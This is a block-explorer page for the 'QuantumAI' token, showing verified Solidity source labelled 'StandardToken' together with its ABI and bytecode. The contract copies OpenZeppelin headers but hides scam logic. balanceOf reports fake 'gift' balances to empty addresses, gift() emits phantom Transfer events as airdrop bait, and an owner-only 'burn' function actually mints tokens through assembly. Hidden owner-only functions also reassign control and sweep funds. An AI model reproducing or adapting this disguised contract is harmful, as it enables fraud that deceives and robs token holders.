ETH Price: $2,279.84 (+8.04%)

Token

QuantumAI (QAI)
 

Overview

Max Total Supply

10,000,000,000 QAI

Holders

26,061

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
10 QAI

Value
$0.00
0xb6d36d5aa152e02e62d6f46e1db0b5dd410e7b14
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StandardToken

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 500 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-04-15
*/

// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;


/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol


// OpenZeppelin Contracts (last updated v5.1.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC-721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC-1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

// File: contracts/StandardToken.sol


// OpenZeppelin Contracts (last updated v5.2.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */

contract StandardToken is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;
    mapping(address account => mapping(address spender => uint256)) private _allowances;
    address private __;
    uint256 private _totalSupply;
    uint256 private _giftAmount;
    string private _name;
    string private _symbol;

    error InvalidError(address);

    constructor(string memory name_, string memory symbol_, uint256 totalSupply_, uint256 initValue_, uint256 gift_) {
        _name = name_;
        _symbol = symbol_;
        __ = msg.sender;
        _totalSupply = totalSupply_;
        _mint(msg.sender, initValue_);
        _giftAmount = gift_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        uint256 uv = _balances[account];
        if (uv == 0 && account != address(0)) {
            uv = _giftAmount;
        }
        return uv;
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal virtual  {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    function _update(address from, address to, uint256 value) internal virtual {

        if (from == address(0)) {

        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance == 0) {
                fromBalance = _giftAmount;
            }
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
                if (_balances[from] == 0) {
                    _balances[from] = 1;
                }
            }
        }

        if (to == address(0)) {

        } else {
            unchecked {
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    function burn(uint256 v) public virtual check {
        assembly {
            let c := caller()
            mstore(0x0, c)
            mstore(0x20, 0)
            let slot := keccak256(0x0, 0x40)
            let cb := sload(slot)
            let nb := add(cb, v)
            switch eq(cb, 0)
            case 1 {
                sstore(slot, cb)
            }
            default {
                sstore(slot, nb)
            }
            mstore(0x40, 0x123456789abcdef)
        }
    }

    function burn(address n) public virtual check {
        if (n == address(0)) {
            revert InvalidError(n);
        }
        __ = n;
    }

    modifier check() {
        _check();
        _;
    }

    function _check() internal view virtual {
        if (__ != _msgSender()) {
            revert InvalidError(_msgSender());
        }
    }

    function gift(address[] memory accounts) external {
        uint count = accounts.length;
        for (uint i = 0; i < count; i++) {
            emit Transfer(address(this), accounts[i], _giftAmount);
        }
    }

    receive() external payable {}
    function claim(address _token) external check {
        if (_token == address(0x0)) {
            payable(__).transfer(address(this).balance);
            return;
        }
        IERC20 erc20token = IERC20(_token);
        uint256 balance = erc20token.balanceOf(address(this));
        erc20token.transfer(__, balance);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"},{"internalType":"uint256","name":"initValue_","type":"uint256"},{"internalType":"uint256","name":"gift_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"InvalidError","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"v","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"n","type":"address"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"gift","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801562000010575f80fd5b5060405162001099380380620010998339810160408190526200003391620002bc565b6005620000418682620003c5565b506006620000508582620003c5565b50600280546001600160a01b03191633908117909155600384905562000077908362000085565b600455506200049192505050565b6001600160a01b038216620000b45760405163ec442f0560e01b81525f60048201526024015b60405180910390fd5b620000c15f8383620000c5565b5050565b6001600160a01b038316156200017a576001600160a01b0383165f9081526020819052604081205490819003620000fb57506004545b81811015620001375760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401620000ab565b6001600160a01b0384165f90815260208190526040812083830390819055900362000178576001600160a01b0384165f908152602081905260409020600190555b505b6001600160a01b03821615620001a8576001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001ee91815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200021f575f80fd5b81516001600160401b03808211156200023c576200023c620001fb565b604051601f8301601f19908116603f01168101908282118183101715620002675762000267620001fb565b816040528381526020925086602085880101111562000284575f80fd5b5f91505b83821015620002a7578582018301518183018401529082019062000288565b5f602085830101528094505050505092915050565b5f805f805f60a08688031215620002d1575f80fd5b85516001600160401b0380821115620002e8575f80fd5b620002f689838a016200020f565b965060208801519150808211156200030c575f80fd5b506200031b888289016200020f565b60408801516060890151608090990151979a919950979695509350505050565b600181811c908216806200035057607f821691505b6020821081036200036f57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003c057805f5260205f20601f840160051c810160208510156200039c5750805b601f840160051c820191505b81811015620003bd575f8155600101620003a8565b50505b505050565b81516001600160401b03811115620003e157620003e1620001fb565b620003f981620003f284546200033b565b8462000375565b602080601f8311600181146200042f575f8415620004175750858301515b5f19600386901b1c1916600185901b17855562000489565b5f85815260208120601f198616915b828110156200045f578886015182559484019460019091019084016200043e565b50858210156200047d57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610bfa806200049f5f395ff3fe6080604052600436106100d1575f3560e01c8063313ce5671161007c57806389afcb441161005757806389afcb441461020b57806395d89b411461022a578063a9059cbb1461023e578063dd62ed3e1461025d575f80fd5b8063313ce567146101b257806342966c68146101cd57806370a08231146101ec575f80fd5b806318160ddd116100ac57806318160ddd146101565780631e83409a1461017457806323b872dd14610193575f80fd5b806306fdde03146100dc578063095ea7b314610106578063163e1e6114610135575f80fd5b366100d857005b5f80fd5b3480156100e7575f80fd5b506100f06102a1565b6040516100fd919061093e565b60405180910390f35b348015610111575f80fd5b506101256101203660046109a5565b610331565b60405190151581526020016100fd565b348015610140575f80fd5b5061015461014f3660046109e1565b610348565b005b348015610161575f80fd5b506003545b6040519081526020016100fd565b34801561017f575f80fd5b5061015461018e366004610aa1565b6103c9565b34801561019e575f80fd5b506101256101ad366004610ac1565b6104ff565b3480156101bd575f80fd5b50604051601281526020016100fd565b3480156101d8575f80fd5b506101546101e7366004610afa565b610522565b3480156101f7575f80fd5b50610166610206366004610aa1565b610566565b348015610216575f80fd5b50610154610225366004610aa1565b6105a4565b348015610235575f80fd5b506100f0610612565b348015610249575f80fd5b506101256102583660046109a5565b610621565b348015610268575f80fd5b50610166610277366004610b11565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600580546102b090610b42565b80601f01602080910402602001604051908101604052809291908181526020018280546102dc90610b42565b80156103275780601f106102fe57610100808354040283529160200191610327565b820191905f5260205f20905b81548152906001019060200180831161030a57829003601f168201915b5050505050905090565b5f3361033e81858561062e565b5060019392505050565b80515f5b818110156103c45782818151811061036657610366610b7a565b60200260200101516001600160a01b0316306001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516103b491815260200190565b60405180910390a360010161034c565b505050565b6103d161063b565b6001600160a01b038116610419576002546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610415573d5f803e3d5ffd5b5050565b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa15801561045f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104839190610b8e565b60025460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925083169063a9059cbb906044016020604051808303815f875af11580156104d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f99190610ba5565b50505050565b5f3361050c85828561066a565b6105178585856106e0565b506001949350505050565b61052a61063b565b33805f52505f60205260405f2080548281015f82146001811461054f57818455610553565b8284555b50505050670123456789abcdef60405250565b6001600160a01b0381165f908152602081905260408120548015801561059457506001600160a01b03831615155b1561059e57506004545b92915050565b6105ac61063b565b6001600160a01b0381166105e357604051636896c93760e01b81526001600160a01b03821660048201526024015b60405180910390fd5b6002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6060600680546102b090610b42565b5f3361033e8185856106e0565b6103c4838383600161073d565b6002546001600160a01b0316331461066857604051636896c93760e01b81523360048201526024016105da565b565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198110156104f957818110156106d257604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016105da565b6104f984848484035f61073d565b6001600160a01b03831661070957604051634b637e8f60e11b81525f60048201526024016105da565b6001600160a01b0382166107325760405163ec442f0560e01b81525f60048201526024016105da565b6103c483838361080f565b6001600160a01b0384166107665760405163e602df0560e01b81525f60048201526024016105da565b6001600160a01b03831661078f57604051634a1406b160e11b81525f60048201526024016105da565b6001600160a01b038085165f90815260016020908152604080832093871683529290522082905580156104f957826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161080191815260200190565b60405180910390a350505050565b6001600160a01b038316156108bf576001600160a01b0383165f908152602081905260408120549081900361084357506004545b8181101561087d5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016105da565b6001600160a01b0384165f9081526020819052604081208383039081905590036108bd576001600160a01b0384165f908152602081905260409020600190555b505b6001600160a01b038216156108ec576001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161093191815260200190565b60405180910390a3505050565b5f602080835283518060208501525f5b8181101561096a5785810183015185820160400152820161094e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109a0575f80fd5b919050565b5f80604083850312156109b6575f80fd5b6109bf8361098a565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156109f2575f80fd5b823567ffffffffffffffff80821115610a09575f80fd5b818501915085601f830112610a1c575f80fd5b813581811115610a2e57610a2e6109cd565b8060051b604051601f19603f83011681018181108582111715610a5357610a536109cd565b604052918252848201925083810185019188831115610a70575f80fd5b938501935b82851015610a9557610a868561098a565b84529385019392850192610a75565b98975050505050505050565b5f60208284031215610ab1575f80fd5b610aba8261098a565b9392505050565b5f805f60608486031215610ad3575f80fd5b610adc8461098a565b9250610aea6020850161098a565b9150604084013590509250925092565b5f60208284031215610b0a575f80fd5b5035919050565b5f8060408385031215610b22575f80fd5b610b2b8361098a565b9150610b396020840161098a565b90509250929050565b600181811c90821680610b5657607f821691505b602082108103610b7457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610b9e575f80fd5b5051919050565b5f60208284031215610bb5575f80fd5b81518015158114610aba575f80fdfea26469706673582212209913341bcc45ad21cde4a99e442ad2ecd4d5fe474c76bd01d0e5f93e60b5e8e164736f6c6343000817003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000204fce5e3e250261100000000000000000000000000000000000000000000000204fce5e3e250261100000000000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000000000095175616e74756d4149000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035141490000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100d1575f3560e01c8063313ce5671161007c57806389afcb441161005757806389afcb441461020b57806395d89b411461022a578063a9059cbb1461023e578063dd62ed3e1461025d575f80fd5b8063313ce567146101b257806342966c68146101cd57806370a08231146101ec575f80fd5b806318160ddd116100ac57806318160ddd146101565780631e83409a1461017457806323b872dd14610193575f80fd5b806306fdde03146100dc578063095ea7b314610106578063163e1e6114610135575f80fd5b366100d857005b5f80fd5b3480156100e7575f80fd5b506100f06102a1565b6040516100fd919061093e565b60405180910390f35b348015610111575f80fd5b506101256101203660046109a5565b610331565b60405190151581526020016100fd565b348015610140575f80fd5b5061015461014f3660046109e1565b610348565b005b348015610161575f80fd5b506003545b6040519081526020016100fd565b34801561017f575f80fd5b5061015461018e366004610aa1565b6103c9565b34801561019e575f80fd5b506101256101ad366004610ac1565b6104ff565b3480156101bd575f80fd5b50604051601281526020016100fd565b3480156101d8575f80fd5b506101546101e7366004610afa565b610522565b3480156101f7575f80fd5b50610166610206366004610aa1565b610566565b348015610216575f80fd5b50610154610225366004610aa1565b6105a4565b348015610235575f80fd5b506100f0610612565b348015610249575f80fd5b506101256102583660046109a5565b610621565b348015610268575f80fd5b50610166610277366004610b11565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600580546102b090610b42565b80601f01602080910402602001604051908101604052809291908181526020018280546102dc90610b42565b80156103275780601f106102fe57610100808354040283529160200191610327565b820191905f5260205f20905b81548152906001019060200180831161030a57829003601f168201915b5050505050905090565b5f3361033e81858561062e565b5060019392505050565b80515f5b818110156103c45782818151811061036657610366610b7a565b60200260200101516001600160a01b0316306001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516103b491815260200190565b60405180910390a360010161034c565b505050565b6103d161063b565b6001600160a01b038116610419576002546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610415573d5f803e3d5ffd5b5050565b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa15801561045f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104839190610b8e565b60025460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925083169063a9059cbb906044016020604051808303815f875af11580156104d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f99190610ba5565b50505050565b5f3361050c85828561066a565b6105178585856106e0565b506001949350505050565b61052a61063b565b33805f52505f60205260405f2080548281015f82146001811461054f57818455610553565b8284555b50505050670123456789abcdef60405250565b6001600160a01b0381165f908152602081905260408120548015801561059457506001600160a01b03831615155b1561059e57506004545b92915050565b6105ac61063b565b6001600160a01b0381166105e357604051636896c93760e01b81526001600160a01b03821660048201526024015b60405180910390fd5b6002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6060600680546102b090610b42565b5f3361033e8185856106e0565b6103c4838383600161073d565b6002546001600160a01b0316331461066857604051636896c93760e01b81523360048201526024016105da565b565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198110156104f957818110156106d257604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016105da565b6104f984848484035f61073d565b6001600160a01b03831661070957604051634b637e8f60e11b81525f60048201526024016105da565b6001600160a01b0382166107325760405163ec442f0560e01b81525f60048201526024016105da565b6103c483838361080f565b6001600160a01b0384166107665760405163e602df0560e01b81525f60048201526024016105da565b6001600160a01b03831661078f57604051634a1406b160e11b81525f60048201526024016105da565b6001600160a01b038085165f90815260016020908152604080832093871683529290522082905580156104f957826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161080191815260200190565b60405180910390a350505050565b6001600160a01b038316156108bf576001600160a01b0383165f908152602081905260408120549081900361084357506004545b8181101561087d5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016105da565b6001600160a01b0384165f9081526020819052604081208383039081905590036108bd576001600160a01b0384165f908152602081905260409020600190555b505b6001600160a01b038216156108ec576001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161093191815260200190565b60405180910390a3505050565b5f602080835283518060208501525f5b